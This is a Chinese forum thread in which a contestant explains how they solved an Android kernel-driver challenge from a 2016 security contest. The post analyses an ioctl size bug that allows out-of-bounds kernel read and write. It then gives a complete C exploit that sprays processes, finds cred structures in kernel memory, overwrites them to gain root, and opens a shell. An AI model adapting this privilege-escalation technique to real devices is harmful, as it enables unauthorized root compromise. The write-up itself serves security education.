enimey 发表于 2016-4-7 14:26

吾爱破解2016安全挑战赛第5题Android溢出题

漏洞分析
题目为一份驱动源码,答题者需要找到驱动源码中的一个漏洞,并利用该漏洞完成root提权。
源码中提供了`open`、`read`、`write`、`ioctl`共4个函数,其中漏洞出现在`ioctl`函数中,具体代码如下:
static long mem_ioctl(struct file *filp, unsigned int cmd, unsigned long arg)
{
        struct mem_init data;

        if(!arg)
                return -EINVAL;

        if(copy_from_user(&data, (void *)arg, sizeof(data))) {
                return -EFAULT;
        }
       
        if(data.len <= 0 || data.len >= 0x1000000)
                return -EINVAL;

        if(data.idx < 0)
                return -EINVAL;

        switch(cmd) {
                case 0:
                        mem_devp.size = 0x5a000000 | (data.len & 0xffffff);
                        mem_devp.data = kmalloc(data.len, GFP_KERNEL);
                        if(!mem_devp.data) {
                                return -ENOMEM;
                        }
                        memset(mem_devp.data, 0, data.len);
                        break;
                default:
                        return -EINVAL;
        }

        return 0;
}
其中data的值由用户传入,data的类型为mem_init结构体,包含idx和len两个成员。上述代码中,对idx和len做了一些简单校验。在cmd为0时,驱动使用kmalloc申请了len大小的空间,而size的值用了很奇怪的计算方式。我们假设传入的idx为0,len为0x8,前面校验通过,然后进入case 0,其中`mem_devp.size`的值为0x5a000008,`mem_devp.data`指向大小为0x8的空间。可以看到,通过我们构造的data,size远大于len。
再看`read`函数,具体代码如下:

static ssize_t mem_read(struct file *filp, char __user *buf, size_t size, loff_t *ppos)
{
        unsigned long p =*ppos;
        unsigned int count = size;
        int ret = 0;
        struct mem_dev *dev = filp->private_data;

        if((dev->size >> 24 & 0xff) != 0x5a)
                return -EFAULT;

        if (p > dev->size)
                return -ENOMEM;

        if (count > dev->size - p)
                count = dev->size - p;

        if (copy_to_user(buf, (void*)(dev->data + p), count)) {
                ret =-EFAULT;
        } else {
                *ppos += count;
                ret = count;
        }

        return ret;
}
其中buf为用户传入的地址,count为用户传入的大小,dev为`ioctl`中的`mem_devp.data`。这里同样有3个简单校验,其一为判断dev的size的高8位的值是否为0x5a;其二为判断文件指针是否超过了dev的size;其三判断用户初入的count是否超过了dev剩下的大小。由上文知道,dev的size值为0x5a000008,也就是说count的值不超过0x5a000008即可通过校验。后面的`copy_to_user`就是将dev的data中的count大小的数据读入buf。注意在`ioctl`里我们只申请了8字节的空间,但是在`read`却可以读入0x5a000008字节的内容!因此这里存在内核读漏洞,同理在`write`中存在内核写漏洞。

漏洞利用
每个进程在内核都有一个cred结构体,该结构体存放了进程的uid、gid等信息,通过修改这个结构体即可完成root提权。在本题目的环境下,cred结构体定义如下:

struct cred {
        unsigned long usage;
        uid_t uid;            /* real UID of the task */
        gid_t gid;            /* real GID of the task */
        uid_t suid;         /* saved UID of the task */
        gid_t sgid;         /* saved GID of the task */
        uid_t euid;         /* effective UID of the task */
        gid_t egid;         /* effective GID of the task */
        uid_t fsuid;          /* UID for VFS ops */
        gid_t fsgid;          /* GID for VFS ops */
        unsigned long securebits;   /* SUID-less security management */
        kernel_cap_t cap_inheritable; /* caps our children can inherit */
        kernel_cap_t cap_permitted;/* caps we're permitted */
        kernel_cap_t cap_effective;/* caps we can actually use */
        kernel_cap_t cap_bset;       /* capability bounding set */
        unsigned char jit_keyring;
        void *thread_keyring;
        void *request_key_auth;
        void *tgcred;
        void *security;      /* subjective LSM security */
};
利用思路如下:
1. 创建尽可能多的进程,以使得内核空间中充斥大量的cred结构体,增大root成功率;
2. 使用`ioctl`使得驱动在内核申请一片空间,接着使用`read`读出大片内核数据;
3. 在读出的内核数据中,暴力搜索,与创建的进程的uid、gid、suid、sgid、euid、egid、fsuid、fsgid进行匹配;
4. 匹配成功后,使用`write`修改其cred结构体,完成root;

exp代码如下:
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>
#include <string.h>
#include <signal.h>

#define MAX_CHILDREN_PROCESS 1024

struct cred {
        // unsigned long usage;
        uid_t uid;            /* real UID of the task */
        gid_t gid;            /* real GID of the task */
        uid_t suid;         /* saved UID of the task */
        gid_t sgid;         /* saved GID of the task */
        uid_t euid;         /* effective UID of the task */
        gid_t egid;         /* effective GID of the task */
        uid_t fsuid;          /* UID for VFS ops */
        gid_t fsgid;          /* GID for VFS ops */
        // unsigned long securebits;   /* SUID-less security management */
        // kernel_cap_t cap_inheritable; /* caps our children can inherit */
        // kernel_cap_t cap_permitted;/* caps we're permitted */
        // kernel_cap_t cap_effective;/* caps we can actually use */
        // kernel_cap_t cap_bset;       /* capability bounding set */
        // unsigned char jit_keyring;
        // void *thread_keyring;
        // void *request_key_auth;
        // void *tgcred;
        // void *security;      /* subjective LSM security */
} my_cred = {0};

struct mem_init {
        uint32_t idx;
        uint32_t len;
} data = {0, 8};

static pid_t pids;

static int children_num;

static void tryRoot()
{
        raise(SIGSTOP);
       
        if (getuid() == 0) {
                printf("root success!\n");
                system("/bin/sh");
        }
       
        exit(0);
}

static void sprayingChildProcess()
{
        int i;
        int pid;
       
        for (i = 0; i < MAX_CHILDREN_PROCESS; ++i) {
                pid = fork();
                if (pid < 0) {
                        break;
                }
                else if (pid == 0) {
                        tryRoot();
                }
                else {
                        pids = pid;
                }
        }
       
        children_num = i;
}

static void setMyCred() {

        uid_t suid;
        gid_t sgid;
        uid_t euid;
        gid_t egid;
        uid_t ruid;
        gid_t rgid;       

        getresuid(&ruid, &euid, &suid);
        getresgid(&rgid, &egid, &sgid);
       
        my_cred.uid = getuid();
        my_cred.gid = getgid();
        my_cred.suid = suid;
        my_cred.sgid = sgid;
        my_cred.euid = euid;
        my_cred.egid = egid;
        my_cred.fsuid = getuid();
        my_cred.fsgid = getgid();
       
}

static int searchCred(int fd) {
        int ret;
        char buf;
        int p;
        int cred;
       
        setMyCred();
       
        ret = ioctl(fd, 0, &data);
        if (ret != 0) {
                perror("ioctl");
                return 0;
        }
       
        while (1) {
                ret = read(fd, buf, 4096);
                if (ret != 4096) {
                        perror("read");
                        return 0;
                }
               
                p = memmem(buf, 4096, &my_cred, sizeof(my_cred));
                if (p) {
                        printf("we found cred.\n");
                        cred = p - (int) buf + lseek(fd, 0, SEEK_CUR) - 4096;
                        return cred;
                }
        }
       
        return 0;
}

static void modifyCred(int fd, int cred)
{
        struct cred new_cred;
       
        lseek(fd, cred, SEEK_SET);
        memset(&new_cred, 0, sizeof(new_cred));
        write(fd, &new_cred, sizeof(new_cred));
        printf("modify cred over.\n");
}

int main()
{
        int fd;
        int cred;
        int i;
       
        sprayingChildProcess();
       
        fd = open("/dev/memdev0", O_RDWR);
        if (fd < 0) {
                perror("open");
                goto out;
        }
       
        cred = searchCred(fd);
        if (cred == 0) {
                goto out;
        }
       
        modifyCred(fd, cred);
       
out:
        if (fd > 0) {
                close(fd);
        }
       
        for (i = 0; i < children_num; ++i) {
                kill(pids, SIGCONT);
        }

        while (1) {
                if (wait(NULL) < 0) {
                        break;
                }
        }
       
        return 0;
}

后记
这里还有其他几种root方案,本文提到的是一种比较粗暴的方法,有一定的失败几率,比如当喷射的cred全部都位于驱动kmalloc的下面,`searchCred`就会失败。另外这种通过直接匹配uid、gid的方式总感觉有些不靠谱,还有个更好的方案是匹配thread_info结构体的comm成员,从而找到cred地址,然后利用slab的freelist将本文内存写漏洞转变为内存任意地址写漏洞,最后修改cred结构体信息即可,具体代码留给读者实现。
PS:比赛提交的exp简直太搓了,评委大大手下留情。

enimey 发表于 2016-4-7 14:41

piaoransfx 发表于 2016-4-7 14:37
我居然看不懂。。。
没有讲很细,需要些基础,有句话说的好,Talk is cheap. Show me the code

renfeng 发表于 2016-4-7 14:43

前排出售杜蕾斯、杰士邦、冈本、第六感、诺丝、高邦、诺丝、高邦、双蝶、多乐士避孕套{:17_1082:}

冰楓丶殘瀷 发表于 2016-4-7 14:32

我居然第一

14771063 发表于 2016-4-7 14:37

我来试试

piaoransfx 发表于 2016-4-7 14:37

我居然看不懂。。。

额爱破解 发表于 2016-4-7 14:49

不懂,赞一个{:1_921:}

治愈先生 发表于 2016-4-7 14:57

高学霸的样子,以为现在的学识一丁点都看不懂

lijianglei 发表于 2016-4-7 15:25

前排围观,出售瓜子~

Iove 发表于 2016-4-7 16:05

我就占个位置~
页: [1] 2 3 4 5
查看完整版本: 吾爱破解2016安全挑战赛第5题Android溢出题